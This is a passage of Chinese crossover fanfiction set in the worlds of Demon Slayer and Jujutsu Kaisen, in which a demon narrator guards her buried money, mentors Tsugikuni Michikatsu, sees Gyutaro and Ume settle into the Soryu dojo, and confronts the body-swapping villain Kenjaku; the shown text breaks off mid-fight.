他的生命中根本没接受过善意,从小因为丑陋就被人看不起,瘦弱的身体遭遇拳打脚踢更是家常便饭,即使是母亲在他出生时都想掐死他。
妓夫太郎根本分不清善意的底色,他只是又沉默了片刻,然后回答了妹妹,“确实很奇怪。”
27.入职第八天
自觉又给自己省了一笔钱,我回程的脚步都轻盈了许多。
只要雇了妓夫太郎要回庆藏以前的债务,我就可以少给些钱给庆藏了。这样四舍五入给自己做账,我还是赚了一笔!
我哼着快乐的小曲,来到了藏宝地。
我这回将钱直接埋进了荒地中,我挖的坑极其的深,如果有野狗想要刨食也无法触及。埋好后,我不仅将土压得严严实实,我甚至还搬了一块巨石压在上面。
所以,这回绝对不可能再被人夺走。
只是,当我走近时,却见巨石上站着一人。
不是啊,为什么要在荒郊野岭站在我的石头上吹风,这样难道很酷吗?
我垮了脸,立马隐蔽了身形,细细观察着那人。
定睛一看,这可了不得了--那人穿的跟个和尚似的,稚嫩的脸蛋,雌雄莫辨。
更要命的是!这家伙是白色妹妹头。
这不就是鬼舞辻无惨嘴里提的那家伙吗?虽然我没见着对方的冰系法术,但是八九不离十了。谁家普通的白色妹妹头能站这么高。
我有心将这个情报给鬼舞辻无惨就算完成KPI,但是我的脚却像扎在了土里一样根本离不开。毕竟!我的钱还在这里!
万一他突然发疯像狗一样就刨坑怎么办呢?万一他就恰好把我的财宝给刨走了呢?
我被自己心里的猜想急得团团转,最后还是决定在这里猫着,等他走了再说。
*
荒野的夜风吹着里梅的头发,遮住了他的面庞,让人看不清他的神色。他站在巨石上,回顾了最近的事。
那个仿冒宿傩大人的家伙就像一只老鼠,极其会躲藏。
上次他曾在巷中遇见那家伙,那家伙的实力还算不错,他俩斗至数合胜负未分,然后快要天明之际,那家伙就一溜烟地逃了,抓也抓不住。
随后便是一群样貌丑陋的恶鬼经常缠上自己,虽然实力低微,但也极其烦人。
想到这里,里梅皱了皱眉头。那些诅咒师可真没用,明明都已经放出了饵料,却还不能找到那家伙的位置,果真不如宿傩大人的一根手指头。
忽得,里梅眯了眯眼,看向远方,他等的人来了。
来人身穿着白色狩衣,背后还搭着一把弓,步子不紧不慢的,看见了里梅,还笑着招了招手,“里梅,别来无恙啊。”
皎洁的月光下,能看出他头上有一条浅浅的缝合线。
里梅站在石头上,睥睨着这位贵族打扮的家伙。看来这家伙现在的壳子身份不低。
他心里这么想的,面上却毫无表情,只是发问,“你找到之前的那个受肉了吗?”他想着那个之前假借“产屋敷月彦”名字的女人,不屑地撇了撇嘴。
那个女人看似老实,实则狡猾,身手敏捷但是实力低微,要不是看重她强健的□□以及能长期与特级咒灵相处却不受干扰的体质,他早就直接杀了她。
絹索到时不紧不慢地开口,看起来毫不在意的样子,“别急嘛,里梅,两面宿傩也不急着现在就醒来。我已经找到那个女人的踪迹了,只是,我感觉,她似乎还有成长的空间。”
说着,絹索似乎想到了什么令人愉悦的事情,甚至忍不住笑出了声,“而且,其实把她的身体让给我也没关系,我也找到了其他几个极为强健的身体,两面宿傩说不定也会满意。”
里梅一道冰刃直接来到絹索脚边,他的声音和表情一样的冷,“不要再做什么其他动作。”
华丽的狩衣被割破了一块,絹索却也不在意,他掀开了自己的前额,露出里面说话的大脑,看起来颇为骇人,“哎呀,这样子我不就只能自己去找那个叫缘一的孩子了吗,他的血脉应该不错啊。”大脑的嘴一张一合,那张贵公子的脸上也出现了痴迷的表情。
里梅冷哼一声,嫌弃地看了一眼絹索的本体,一甩袖飞身离开。
*
我在远处潜伏着,看到自掀脑壳的一幕差点忍不住唱出来--这不就是掀起你的头盖骨嘛?
鬼舞辻无惨的敌人,竟恐怖如斯。
而且,那个掀头盖骨的男人还提到了缘一,这不就是继国严胜的弟弟吗?被这样的人盯上总感觉不太妙啊,我心里生出了些不好的预感。
等到那两个人都远远离开之后,我才小心翼翼过去卖力开挖宝藏,也顾不上先向鬼舞辻无惨汇报了,我带着宝藏就直奔继国严胜家。
继国严胜自认为人稳重,然而,当他在看到消失了好几天的师傅从天而降,而且还拿着一莲花座的金银财宝时还是吃了一惊。
“师傅,你......”
他神秘的师傅忙解释,立马堵住了他接下来的话,“不偷不抢哈,这是师傅我正当途径拿来的。”
女子边说,边从莲花宝座中拿出一个极为精致的蜻蜓金饰,极其大方地递给他,“来,这是给你的礼物。”如果忽视女子脸上肉疼的脸色了话,她的大方倒具有一些说服力。
继国严胜本打算婉拒,但是金色的蜻蜓却被女子直接塞入了他手中,力道之大,拒绝不得。
“收吧收吧。”他的师傅碎碎念着,将一大莲花座的金银珠宝放下,开始问候起他最近的课业。
前几天师傅派了一个叫作狛治的少年前来与他对练。
狛治擅长拳法,他擅长剑法,他持剑狛治用拳,相斗倒是有来有回。只是在那个名叫恋雪的少女在旁观战时,狛治的力量和速度似乎都会显著提高。
这是什么缘故?他曾在训练结束后问过狛治,狛治接过恋雪递过来的绢布擦着汗,听到了这个,沉默了片刻。明明已经结束了训练,脸却开始红了起来。
有那么热吗?继国严胜没有理解,正如同他也不理解师傅的用意一样。
难道是师傅是觉得他还是太过瘦弱了?继国严胜偷偷比对着自己与狛治的肌肉,暗下决心,继续好好锻炼。
又或者是师傅觉得自己只会用剑,还得加强一下拳脚功夫?继国严胜于是选择早晨放下剑,与狛治赤手空拳搏斗,喜提身上诸多乌青。
所以,该怎么回答师傅的问题呢?继国严胜有些犹豫,却见狛治走来,看见了师傅,也看见了一莲花宝座的金银珠宝。<
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p>“你到底从哪弄来的这些东西?”狛治指着那一莲花宝座,忍不住惊呼。
我见着狛治少年来,抬手和他打了招呼,顺便按下了继国严胜掏出的剑,“都说了这不是赃款了。”
我感觉有些心累,有些肉疼地从莲花宝座中掏出一块金条给狛治,“这是之前答应资助素流道场的,就先给你,你转交给你师傅就行了。”
看着接过金条有些懵懵的狛治少年,我又补充了一句,“之后会有一个叫妓夫太郎的孩子和他的妹妹梅会来素流道场帮庆藏要债哦,他们在素流道场的伙食费可以先记我这里。”
素流道场之所以这么清贫,一方面是庆藏夫人以及女儿生病花费不菲,一方面是庆藏先前借出去不少钱,但是由于他性格太烂好人因此钱根本要不回来。
送走了狛治,我决定继续扮演着好师傅的角色,“严胜啊,之前说的课业这么样了呢?”
我其实也是有些心虚,毕竟最近几天我没有管过他。
然而继国严胜思考了一会,然后极其慎重地开口了,“狛治是个非常强劲的对手,我能感受到师傅其中的深意,我会继续锻炼体魄和加强拳脚功夫的。至于有时恋雪在旁狛治能提升战力的方式我还没研究透,还需要多多钻研。”
我没想到自己简单的一问能诈出这么多信息,毕竟我本来没想这么多。我心里有些慌慌的,面上却是很淡定的样子。
“那你找到同龄的对手,心情好些了吗?”至少我觉得他应该能和狛治五五开,不至于也被打到自闭吧。
老实说我真的不是很懂教育心理学,我猜不到继国严胜心里想什么,我能为自己弟子做到的只是去帮他尽力调解。
继国严胜一怔,向来端正肃穆的小脸露出了一种明显的讶异之感,他的嘴甚至忍不住微微张开了一会。
他确实没想到师傅会注意到这点。
变强他曾以为是刻在骨子的必须要完成的事,父亲说,如果不变强,家族就有可能遭遇祸患;武士说,他如果不变强打不过缘一,那么他也只能被关在小小的房间里,吃不了饭,然后最后被赶到寺庙里;他看到母亲的日记时也对自己说,如果他早些变强,早些注意到母亲的伤病,母亲会不会就能多活一段快乐的日子。
所以,在变强面前,心情好很重要吗?
继国严胜从来没觉得如此迷茫,他张了张口,想说真正的武士不必在意这点,但是却又说不说出口。
他想,因为他不是缘一那样的天才,如果还在意心情了话,他还怎么继续变强呢?但是继国严胜说不出口。
他看着自己的师傅手忙脚乱从莲花座中又掏出了一些竹笛、双陆、风筝等只有孩子才玩的东西,然后一股脑地堆在他面前。
师傅盯了他一会,像是犹豫了片刻,又将手放在了他的头上。
那双手有些冰冷,充满力量,只需轻轻一扭他的脑袋就会离位,但是他却诡异地觉着踏实。
女人的声音有一种熟悉的感觉,“没事的,严胜,没事的。”
继国严胜在模糊的视线中,仿佛看见了母亲。
28.入职第九天
我不擅长哄小孩啊......
看着默默垂泪的继国严胜,我总感觉这一幕似曾相识,不过我的记忆还是七零八碎的,因此我找不出熟悉的出处。
我感觉自己的手都要僵住了,只能机械地摸摸他的头,然后干巴巴地告诉他没事。
看来这孩子真的是压力很大啊,我内心无限感慨,总觉得作为师傅的良心有点痛。
压力大容易产生消极情绪,影响人对于事物的看法,也容易产生诸多心理或者身体疾病。继国严胜这孩子本来就容易多想,再这么下去可能就活不长诶。
那谁帮我养老啊?做鬼好像能活很久的样子呢!
我开始担心自己的养老问题,但突然感觉手下毛茸茸的脑袋位移了,低头一看,就见继国严胜已经站到一旁,抿着嘴看着我。
除了湿润的双眼和微红的眼眶,一点也看不出哭过的痕迹。
“好些了嘛?”继国严胜看见师傅收回了一直安抚他的手,关切地问他。
继国严胜有些不好意思。
不知道为什么,他总感觉自己哭的时候总被师傅看见。
这样子太不像话了,他在心里对自己这么说,于是面上努力做出肃穆的表情。“师傅无需挂怀,我......感觉好多了。”
看着师傅没说什么,只是点了点头,继国严胜怕她不信,连忙补充,“我现在就可以继续练剑了,真的没事了,师傅。”
我暗叹徒弟太卷,叮嘱继国严胜要是心里有事可以直接和我沟通,见他在我强烈要求下收下了我带的一些儿童益智玩具,我终于放下心来。
确定那双前几天黯淡的眼又有了神采,我开始进入下一个话题,“严胜,你知道你的弟弟缘一现在在哪里吗?”
继国严胜一听,在久违听到他人提起“缘一”时有些愣神,下意识揪起了自己的衣角,“师傅,是要找缘一吗?”
刚刚舒展的心似乎又被泡在了水里,充满酸涩的味道。使他训练的还不够扎实吗?师傅之前离开也是想找缘一做弟子而不要他了吗?这些想法充斥着内心,继国严胜感觉自己的声音有些沙哑。
一看我的弟子又开始湿润的眼睛我就立马明悟了,“我目前只有你这一个弟子”,我向我的弟子保证着,看他吸了吸鼻子,又继续加码,“我是出门时听到有一个怪物好像说要对继国缘一下手,一想到他是你的弟弟就立马赶回来通知你。”
我现在确认了,继国严胜这孩子确实有些安全感不足啊。当然,这可能是之前成长环境导致的,以至于他对于自己的胞弟继国缘一有着极强的比较欲。
听到师傅的解释,继国严胜一个酸涩的心又被捞出,挤出了那些消极的情绪。
再一听到怪物可能要对缘一下手,继国严胜神色一凛,马上抛却了其他的情绪,“缘一离家后我有试着去寺庙找过他,那时还见过到了师傅您,您还说我和缘一会有缘再见。之后我偶尔也有尝试过寻找,但最终还是没有结果。”
我看着继国严胜下意识担忧的反应,心下了然,又见他抬起头,仔细问我,“师傅,您之前也见过缘一,那时您是在哪见过的呢?”
诶?我翻了翻自己七零八碎的记忆,虽然提取了继国严胜所说的“寺庙”关键词,但其实我对这段经历也没有印象了,更别说其他的什么了。原来我之前还见过继国缘一呢?
这么想着,我的脑海中突然出现了一件破旧的房屋,一个总是笑着的少女,一直远远看着的微笑的女人,还有一个小男孩。
可恶,脑袋好疼!我忍不住在脑中继续怒骂鬼舞辻无惨。
继国严胜看见自己师傅用牙咬住了下嘴唇,直冒冷汗,不由有些慌乱,“师傅你没事吧。”
我努力露出平和的表情,只是还是抑制不住话语中的杀气,“没事,只是被小人暗算了。”我摆了摆手,没让继国严胜顺着继续问下去,“我大概有些印象,不过并不准确,大抵是在x郡下面的一个村子里。”
我给了个大概的位置,既然我会选择在产屋敷月彦那里打工,那么我大抵也是住在附近才对。不过我是因为谁去打工呢?我为什么会认识那些人呢?
实在想不出这些,我只能捂着脑袋,看着继国严胜,继续补充道,“你也要小心,那个怪物,他有些奇怪。”
继国严胜叫下女递给了我杯水,见我喝下去好些了,才继续追问道,“那是怎样的怪物?”
我回忆着那个怪物的缝合线,想要尽可能准确地向我徒弟描述,“他的本体可能是脑子,我怀疑他可能会变换外貌,他现在正是一个穿着白色狩衣的贵族,最为醒目的标志是额头上有想被针线穿过的伤疤。”
我翻出衣角,指了指布料的缝合线向继国严胜示意,继国严胜点了点头,表示理解了。
“他似乎还有同伙,同伙好像是两面宿傩手下的白色短发冰系咒术师。”我隐去了什么两面宿傩受肉的部分,只是表情凝重地继续叮嘱我的徒弟,“严胜,你要小心。”
继国严胜点点头,只是眼神中又饱含担忧,“师傅,您身体没事吧?”
他似乎被刚刚的异常吓到了,往日强大的女子突然露出了如此痛苦的表情。难道他又没留意到什么?难道师傅也会像母亲一样?果然还是缘一作为徒弟更好吗?
看着我好不容易哄好的徒弟又低沉下来,我赶忙回应,“没事,我身体健康得很。”我又徒手将莲花座的一角捏碎,力证自己的健康。
继国严胜见此,却还是觉着有些不放心,他欲开口,脑袋又被揉了一下,“谢谢你,严胜。”
继国严胜不再做声,只是好半晌,才坚定地说出一句话。“师傅,我会除去暗算你的小人的!”
闻言,我心里倒是暖暖的,虽然我的徒弟肯定暂时还打不过鬼舞辻无惨,但是有这心就好了。
只要大家都看不惯鬼舞辻无惨,我就放心了!
*
妓夫太郎牵着梅,走出密林。
梅今日穿得极其漂亮,身穿那日买的绣着红梅样式的衣裳,头上则是妓夫太郎精心为她绾的发簪。她得意地摸了摸自己头上新买的发簪,眼睛微眯,转头看向妓夫太郎,“哥哥,你看我今天好看吗?”
妓夫太郎穿着上次梅为他挑选的衣服,仔细洗过的头发虽然依旧蓬松发尾微卷,但是看起来确实清爽多了。
虽然这个问题梅今日已经问过五次了,但是妓夫太郎的回答依旧十分耐心,“梅,你每天都很好看,今天精心打扮一番更是好看。”
梅听到了自己满意的回答,愉悦地点了点头,嘻嘻笑出了声。
已经要到素流道场的门口了,梅的笑声吸引了他人的注意。
素流道场隔壁的剑道场门口有着少年见了梅,忍不住瞪大了眼睛。他这番痴态又吸引了别的人来查看,那人一见梅也忍不住
他们小声的惊呼让梅的虚荣心得到了极大的满足,她就像一只得意的猫,昂着头,迈着轻盈的步子,就要去敲响素流道场的门。
“真是漂亮啊~”忽然从惊呼
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间冒出了一声轻佻的调笑,妓夫太郎顺着声音看过去,是一个看起来健壮高大的少年。
调笑梅,健壮高大,这都踩到妓夫太郎的雷点上,妓夫太郎直接挡住了那个少年的视线,眼神阴毒地把玩了一下手中的镰刀。
梅懒得理会,这样的男人她见多了。她只是敲了敲门,打算先进素流道场。
听到敲门声,里面传来一声稍等,便有脚步声越来越近。
没得到美人搭理的少年咬了咬牙,颇有些不爽,他上下扫视着妓夫太郎瘦弱的身躯,鼻子不屑地哼气。
看着那个少年的姿态,妓夫太郎手中的镰刀更是转得飞快,梅也察觉了哥哥的不悦,正要转头看去,素流道场的门开了。
“欢迎光临。啊-”开门的是个看起来有些瘦弱的少女,她的脸因为行动有些急而微微泛红。
梅的注意力被吸引了过来,她上下打量着这个小姑娘,立马确信--嗯,根本没有她好看。
被她紧盯着的恋雪小脸更是通红,她小声地招呼着两人,“欢迎来到素流道场。两位是妓夫太郎和梅吧,非常感谢您接下来的帮助。”
她的背后跟着狛治,俩人一起将妓夫太郎和梅引至室内待客。庆藏没有料到这兄妹俩来得这么早,还正在外面。
梅看着总是忍不住回头打量自己的恋雪,颇有些不悦,“你一直看我的脸干什么?”
狛治听这口气,皱了皱眉,却见恋雪又看向梅,小脸红扑扑地,颇为有些不好意思,“梅你真是太漂亮了,我还没有见过这么好看的人。看见你,我还以为,是遇见了仙女。”
这么长一段话让她小小喘气了一会,又咳咳出声。狛治忙过去帮她拍背缓解。
梅的不虞瞬间消弭,她看着脸红成像火一样的恋雪,皱着的眉头顿时松开,“你还挺有眼光的。”
妓夫太郎跟着点了点头。
恋雪有些不好意思地挠挠脸颊,来到室内,与狛治一起将事先准备好的糕点端上。
庆藏带着新鲜的果蔬回来,又是拉着妓夫太郎和梅吃了一顿较为丰盛的饭。就算席间妓夫太郎将吃相极为不雅,梅也总是故作挑剔,但是他都是笑眯眯的应下,笑容慈爱地简直让妓夫太郎和梅发毛。
被留宿的俩兄妹睡在进行准备的房间内,感受着柔软的被褥和干净的环境,颇有些不适应。
“哥哥!那个男人和女孩子是傻子吗?为什么总是笑?”梅习惯性将不明白的问题交给哥哥。这种笑很奇怪,不是那些调笑的男人那种恶心的笑,而是......
梅说不出来,她看着妓夫太郎,然而妓夫太郎也无法说出答案。
去看看外面?那就是之前那个女人说的吗?
妓夫太郎回忆着自己看见他人微笑时毛毛的感觉,不适应地龇牙了一下,摸了摸身体。明明之前才洗过澡,现在却感觉浑身有跳蚤爬似的。
太怪了,不行!
“梅,算了,我们先走吧。我们回家去吧。之后我再去要债。”这种感觉太奇怪了,简直让他无所适从。他就像久在黑暗中突然被拉出在太阳下曝晒,第一反应就是逃离。
梅歪了歪头,她倒是觉得那个叫恋雪的小女孩衣服样式不错,还想问问她店家。但是,哥哥要走了话,一定有他的道理。
她跟着点了点头。
俩人刻意放轻了脚步,没有惊动任何人的正要离开。却见素流道场的门口,那个叫恋雪的少女正被今日的那个门口遇见的男人拖着走。
他们要去哪?
29.入职第十天
要管这件事还是不管这件事,对于妓夫太郎来说是个问题。
但是对于梅来说显然不是。
“你这家伙要对她干什么?”梅的声音如黑夜惊雷,顿时将那个少年吓得身子一抖,竟是将恋雪摔在了地上。他也顾不得扶起恋雪,只是紧张地转身,一看到是梅,又浅浅舒出了一口气。
他又仔细看了看素流道场,见暂时还没其他人出来,便放小了声音,脸上又露出了一种故作镇定的神情,“是今早遇见的美人啊,还不知道你的名字呢?”
梅并不理会,只是上前越过了他,看到了摔到地上的恋雪。恋雪显然身体是梅无法想象的虚弱,仅是摔了一下脸上便露出了有些痛苦的表情。
“你为什么还不起来?”梅站在恋雪身前,脸上依旧没什么好脸色。月光照耀在她艳丽的脸上,看起来有几分不近人情。
恋雪艰难地靠自己爬起来,脸上又绽放出了梅无法理解的笑,“谢谢你,梅。”
她身上被梅认为漂亮的衣服沾着一些灰,脸上也蹭上了泥土,头发有些散乱,整个人显得有些灰扑扑的,但是看起来意外地还算顺眼。
根本不明白。
梅想,我可是不会扶你起来的,她转过头,并不再看恋雪,只是嘴角忍不住微微上扬。
被无视的少年登时火冒三丈,差点就快忘记压低了声音,“我可是剑道场的继承人,你算什么家伙,仗着自己长得还行就如此无礼!”
他边说便要过去拉扯梅的胳膊,然而,还没近身,眼前就闪过了一道刀光--那是妓夫太郎的镰刀。
一直被忽略的妓夫太郎早已闪身到梅身前,阴恻恻地瞪着少年,那把镰刀触到少年的脖颈,已经冒出了点点血珠。
少年感受着脖颈上的寒意,低头,视线从刀又转向向了刀主人的眼睛。那双阴暗的,全是恶意的眼睛使他禁不住打了个寒颤,竟是将脖子又划到了刀尖。
妓夫太郎冷笑了一下,刀尖正要上移,给这张年轻的脸蛋留下点痕迹,远处一个声音打断了他。
梅被恋雪拉着衣袖,脸上的跃跃欲试被打断,颇有些不耐烦,她看向声音的来源--是庆藏和狛治。
被刀抵着的少年像是遇到救星一般,小心将自己的脖子与镰刀远离,向着疾步走过来的庆藏大呼,“有人要杀我!”
庆藏先是看到了灰扑扑的恋雪,又瞧见满脸阴郁的妓夫太郎和挑眉冷笑的梅,再看向了隔壁那位一直横行霸道的剑道场少主脖子上的红痕,他顿住了脚步。
“恋雪,你怎么到这来了?”狛治没先理会剑道场少主的指控,径直越过他走向恋雪,替她轻拍着身上的灰尘。
恋雪看着狛治的动作,脸有些微红,小声地解释道:“那位哥哥说要带我出去玩,还想问我关于梅的事。可是我不想出去,也不想说。”她的声音渐渐低下来。
狛治闻言,转头看向那位一直不对付的隔壁道场的家伙,握紧了拳头。庆藏的眼神也变得冷起来了,往日老好人的样子散去,一时间倒是有些叫人心惊。
剑道场少主看着他们的眼神,连忙辩解,“我只是好心要带恋雪妹妹出门玩。”
梅本打算教训一下那不知天高地厚的家伙,一被打断,本就不爽,于是声音尖利怪声怪气地嘲讽,“是啊,带她出去玩,还把她直接摔地上了。真不知道安得哪门子的好心。”
于是狛治的手便没有收住,拳头直接砸向了那张还想辩解的脸。
妓夫太郎看着那人脸上砸出的坑,内心暗叹。而狛治挥拳间,袖子飞舞,露出了腕上罪人代表的三道刺青。
妓夫太郎眼睛瞪大,他看着面色如常在一旁不阻止的庆藏,又看着去温柔安抚狛治的恋雪,一颗心脏以诡异的频率猛烈的跳动着。
这些人,就连罪人也能接受吗?真奇怪!
面对异类,为什么不拳打脚踢?为什么不朝他的身上去啐一口?为什么要收留他?为什么要呵护他?
他完全无法理解。难道吉原外真的是完全不同的世界吗?
梅在旁边正为那个剑道场少主挨打拍手叫好,转头就看到自家哥哥脸色异常。
“哥哥!你怎么了?”梅连忙扑向自家兄长,眉毛皱起,脸上写满担心。
恋雪闻言也看了过来,目光关切。庆藏也看向他,“少年,怎么了,身体不舒服吗?”就连狛治也向他投去了目光。
奇怪奇怪!他们的目光不是鄙视也不是怜悯,就像那个女人一样,这到底是什么。
但是妓夫太郎觉得这种目光不讨厌,他只是掩了掩脸,“我没事。”
然后像是给自己找补一样,他看向狛治说,“你可以多打他几拳,毕竟那个剑道场还欠着你们钱。”
狛治闻言看向庆藏,庆藏却也不否认。
狛治正欲再补几拳,却见剑道场少主已经拍着屁股跑了。
只是妓夫太郎看着剑道场少主离去时的眼神,忍不住提醒,“你们还是要小心他,这家伙可不是什么好东西。”
这种垃圾,他可见得多了,谁叫他也是。
庆藏点点头,妓夫太郎也不知道他听进去了没有,有些暗暗着急。
“已经晚了,快回去休息吧。”庆藏对着妓夫太郎伸手,诚挚地邀请。
梅嘴很快,“我们可是要出......”
妓夫太郎掩住了梅的嘴,眼神安抚着妹妹,“马上。”
作为哥哥,他想,自己总是要先接触改变。不能一直退让,不能一直逃避。
如果梅能在这种环境下长大,那或许会过得很好。或许真的能像那个女人说的那样呢?
*
我打了个喷嚏,总感觉有人在背后想我。
继国严胜听到这声喷嚏,立马来到我跟前,凑近了我的脸观察着我的脸色,“师傅,你还好吧。”
我的弟子最近对我的健康状况特别关心,一点风吹草都能让他感到紧张。我被这么对待,都快怀疑自己是不是生了什么大病,但是我确定,我没有。
“我很好。”我不确定自己重复了这个话几次,只是坐在牛车上,看着陌生的乡间小路。
再知道了那个缝合线怪物的阴谋后,继国严胜就与我一起出发,准备寻找他的胞弟继国缘一。我在路上还遇见了一个卖虫子的少年,他还与我打招呼问还卖不卖虫笼。我虽然想不起他是谁,但是一听虫笼的收购价我就心动了,连忙答
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应要是制作出了还去找他。
“现在听虫鸣一时成了平安京内的风尚,听说还有贵族专门跑到穷乡僻壤去听虫鸣呢。”回想起少年说的话,我不由扼腕叹息,当初在深林里摸鱼的时候可是看见了很多晚上叫得很响的虫子呢。
但是过去的只能过去了,得放眼现下。我坐在牛车上,手不停编着虫笼,心里盘算着接下来要干什么。
这几天我们已经去很多个村子探查过了。
但是都一无所获。
现在只剩下几个可能的村庄了,如果再找不到了话,也不排除继国缘一搬家了的可能。
当然也有可能那个缝合线怪物已经得到了继国缘一。等等,这话说起来还真是奇怪。
我抬头,望着天上的一轮明月,又看向旁边的弟子。最近几天,我一直要求夜间出行,继国严胜既不怀疑,也不提出异议。
我们在路上也遇到了一些看起来很低级的鬼,我以磨炼继国严胜技术为由让他独自杀鬼,他也发现了鬼不能接触阳光的关键。
但即便如此,即使我一直要求白天将自己裹得严严实实不见太阳又或者一般要求夜间出行,继国严胜似乎也根本不去思考为什么自己的师傅和鬼有那么多相通之处。
这种举措仿佛掩耳盗铃,他甚至会提前为我准备好黑色的油纸伞。
“严胜,永远不要相信鬼。”我边编着虫笼,随口说道。
继国严胜被这话一激,像是猛地炸毛了,回答地也磕磕巴巴,“为什么这么说呢?师傅。”
看来是猜到了啊,我了然。“我只是一直这么觉得罢了。毕竟人的鬼话不能相信,鬼的鬼话也不可以哦。”
当我渐渐能捡起自己失去的记忆,我感到自己身份的无限割裂。变成鬼之后,我似乎情感都淡薄了许多,即使是鬼进食,如果没招惹我,我似乎也只会谴责一下对方是异食癖而且吃饭不文雅。
接受了鬼舞辻无惨的血肉越多,我的身体变得更强壮,但是我的性格似乎变得并不是很妙。比如现在,我一想到鬼舞辻无惨,比起以往的厌恶、恶心,现在更多的竟是一种进食的渴望。
太糟糕了。
所以趁着我的良心还在,我完成kpi的主意已经完成巨大转变了。
我并不想让无辜的人成为鬼。
再加上我那个被**的血鬼术,究竟怎么雇主才会继承雇主的什么呢?没道理这么重要的事情还要完形填空吧?
因为这件事,我都不敢收庆藏的感谢费和继国严胜给的工资了!
我的大脑正飞速运转,却感觉旁边的弟子身体忽然僵住,牛车也缓缓停下。
我也顺着弟子的目光看向路边的田地上,一个深红色头发的少年扎着与继国严胜差不多的发型,耳上还挂着一对红日耳坠。
少年额角带着红色的斑纹,手上拿着一把野菜,此时怔怔地看着我们,眼睛一眨不眨,像是陷入了巨大的幻境之中。
而我注意到他的旁边还有一个穿着白色狩衣的家伙,手上捧着一个精致的虫笼,里面传出阵阵悦耳的虫鸣。
最关键的是,他的头上有一道缝合线。
没时间伤感了,快点小心缝合怪啊!
30.入职第十一天
没时间伤感了,现在轮到我打缝合怪了!
我有些紧张,看着那缝合的家伙,调整了自己的姿态,直接从牛车上跳下来,对着缘一招手。
“好久不见,缘一,过来让我看看你。”我虽然根本想不起来我和缘一此前相处的模式,但是就别重逢这么一说应该不会使人起疑,虽然太像逢年过节叫不出名字的三大姑七大姨的问候一样。
我努力将自己的表情调整成云淡风轻的,看着那个缝合怪狩衣男,只是微微颔首以示打招呼。
不管怎么说,先把缘一叫到身边来总没错。
那位缝合怪狩衣男只是笑着看着我,并没有做什么动作,他将精致的虫笼放在耳边,对我眨了眨眼。
他身前的继国缘一像是从一个亘久的梦境中才醒来的样子,看着继国严胜,又看看我,脸上露出了幸福的笑意。
“兄长、姐姐!”继国缘一的声音清脆,如一头林间小鹿径直奔向我们。
我能察觉继国严胜的僵直的身体努力尝试放松,但是却将自己变得更加紧绷。他甚至做不出什么反应,只能脸上努力扯出一个该有的体面的微笑。
继国缘一在我们身前站定,露出了发自内心的快乐笑容。比起站在缝合怪狩衣男前,这时更显得有一种稚气在身上,他看看自己的兄长,又看向我,似乎想说点什么,但是话却说不出来。
那双眼睛亮得像是装进了漫天星辰,直叫继国严胜说不出话来,我也不知道该说什么。
要不就先不说什么体面话了吧?
我十分顺手地揉了揉继国缘一的头,思考了半秒钟,又接着揉了揉继国严胜的头,然后把他拉到我身后和继国严胜站在一排,再次感慨,“好久不见。”
“不过现在不是说这个的时候,缘一,你认识旁边的那位先生吗?”
我没转头,只是紧盯那位看起来人畜无害的缝合怪。
“这位先生我和歌在林中见过几次。这次好像是在林中找虫,然后好像迷路了,所以我和歌就将他带出来了。他说现在找不到住处,我们正打算带他回去呢。”
不是,这种头上有缝合线的家伙不要随便乱捡回家啊!我在内心咆哮。
我想起了继国严胜和我说过他的胞弟的特殊体质,看着那位还在摇头晃脑眯眼享受虫鸣的缝合怪,决定进行一下最终的确认--“缘一,你能告诉我,这位先生的脑子有什么特别的吗?”
继国缘一有些迷惑,他能感觉到兄长的紧绷和李姐姐的紧张。李姐姐曾经说过,世界之大无奇不有,所以,“现在那位先生的脑子正在说话哦,难道这很奇怪吗?”
不,这根本就很奇怪好不好?!
继国缘一后知后觉地感受到了点异样,虽然这不合常理,但是李姐姐的身体也不同于常人啊?
我并不知道后面俩小萝卜头的想法,在缘一说出脑子在说话的时候,没有再犹豫,将手中编到一半的虫笼扔下,纵身跃起,眨眼间便来到缝合怪身前。
继国严胜看着自己天赋异禀的胞弟歪了歪头,露出了极其不解的神情,一时心绪复杂--这难道就是天才的想法吗?他根本无法理解。
但是,他相信师傅。
继国严胜直接拔出太刀,也冲向了缝合怪。
缘一看着手上的野菜,又看着面前激战,思考片刻,直接从牛车中掏出一根木棍也冲了过去。
我闪身到了缝合怪的身前。
缝合怪却也不躲,只是仍然笑盈盈的站着,甚至手上还拎着虫笼。
“诶呀,好久不见,你的身体变得这么强健了呀?”他的声音充满着一种说不出的甜腻,缝合线下那双眼弯折,视线游走在我的身上,有些逗着猫狗似的闲适感。
可恶,怎么还馋我身体!变态!
我火气十足,也不收着力,直接一拳打上他的脸。
拳风都已经冲向他的脸了,但是却像是受到什么无形的东西挡住了一般,力道全消。
什么!?
继国严胜的剑也已经劈向了羂索,然而,就与我的攻击类似,也被未知的东西挡住了似的。
看不清,道不明的东西瞬间捉住了继国严胜,我看他像是被什么东西捉住了,腰间的衣料褶皱,面露痛苦之色。
羂索的表情写满了愉悦,他并不在意冲上来的继国缘一,也不看我,只是命令咒灵捏紧了继国严胜的脖子,语气甚至还带着商讨的意味,“不要过来哦,否则你的哥哥下一秒就要和你分别了。”
继国缘一猛地刹住脚步,脚下蹬了一片野草。他眼神警惕,内含愤怒的眼神全面地扫过了羂索。
“真是太可惜了。明明都拥有这么完美的身体,但是却没有咒力,这可真难办。”
羂索双眼扫过半空中的继国严胜和紧握着木棍的继国缘一,还猛地叹了一口气,一副极其困扰的样子。
“当然你的身体我也很喜欢,只是太可惜了显被预订了。”羂索的目光移向了那个女子,忍不住咬了咬手指,他的目光移至她身后那个到此都十分平静的特级咒灵,十分遗憾。
狂暴、死亡、血液、折磨......那个特级咒灵充斥着各种各样的负面情绪,即使看一眼都能感觉铺天盖地的恶意向人袭来。
多么强大的力量,这个女人居然都无法利用。如果直接攻击那女人,还要担心那个特级咒灵会回击。羂索的牙微微发力,在那双带着薄茧的指上留下了牙印。
不过从另一方面来说,无法感受咒力,无法看到咒灵的女人被这样的咒灵缠上,竟然依旧毫发无损,也是神奇的体质。还是需要他心甘情愿交出身体才好。
“真棒啊!”羂索忍不住感慨,眼神显得有些痴迷。如果将这个女人的身体改造了话,啊,真是纠结,一时间有太多合适的躯体了.....
然而,他的想法下一秒就被一道狠厉的声音打断。
“如果你真的想要我的身体了话,先放过他们,我会自觉跟你走的。你也不想只得到碎片吧?”我努力露出了一个人畜无害的笑,虽然话里充满威胁。
鬼可是能自爆的啊。
我尝试将自己的力量压缩再压缩,整个躯体瞬间混乱起来。
那个缝合怪的眼神很恶心,对我的身体简直是要流下了口水。我虽然不
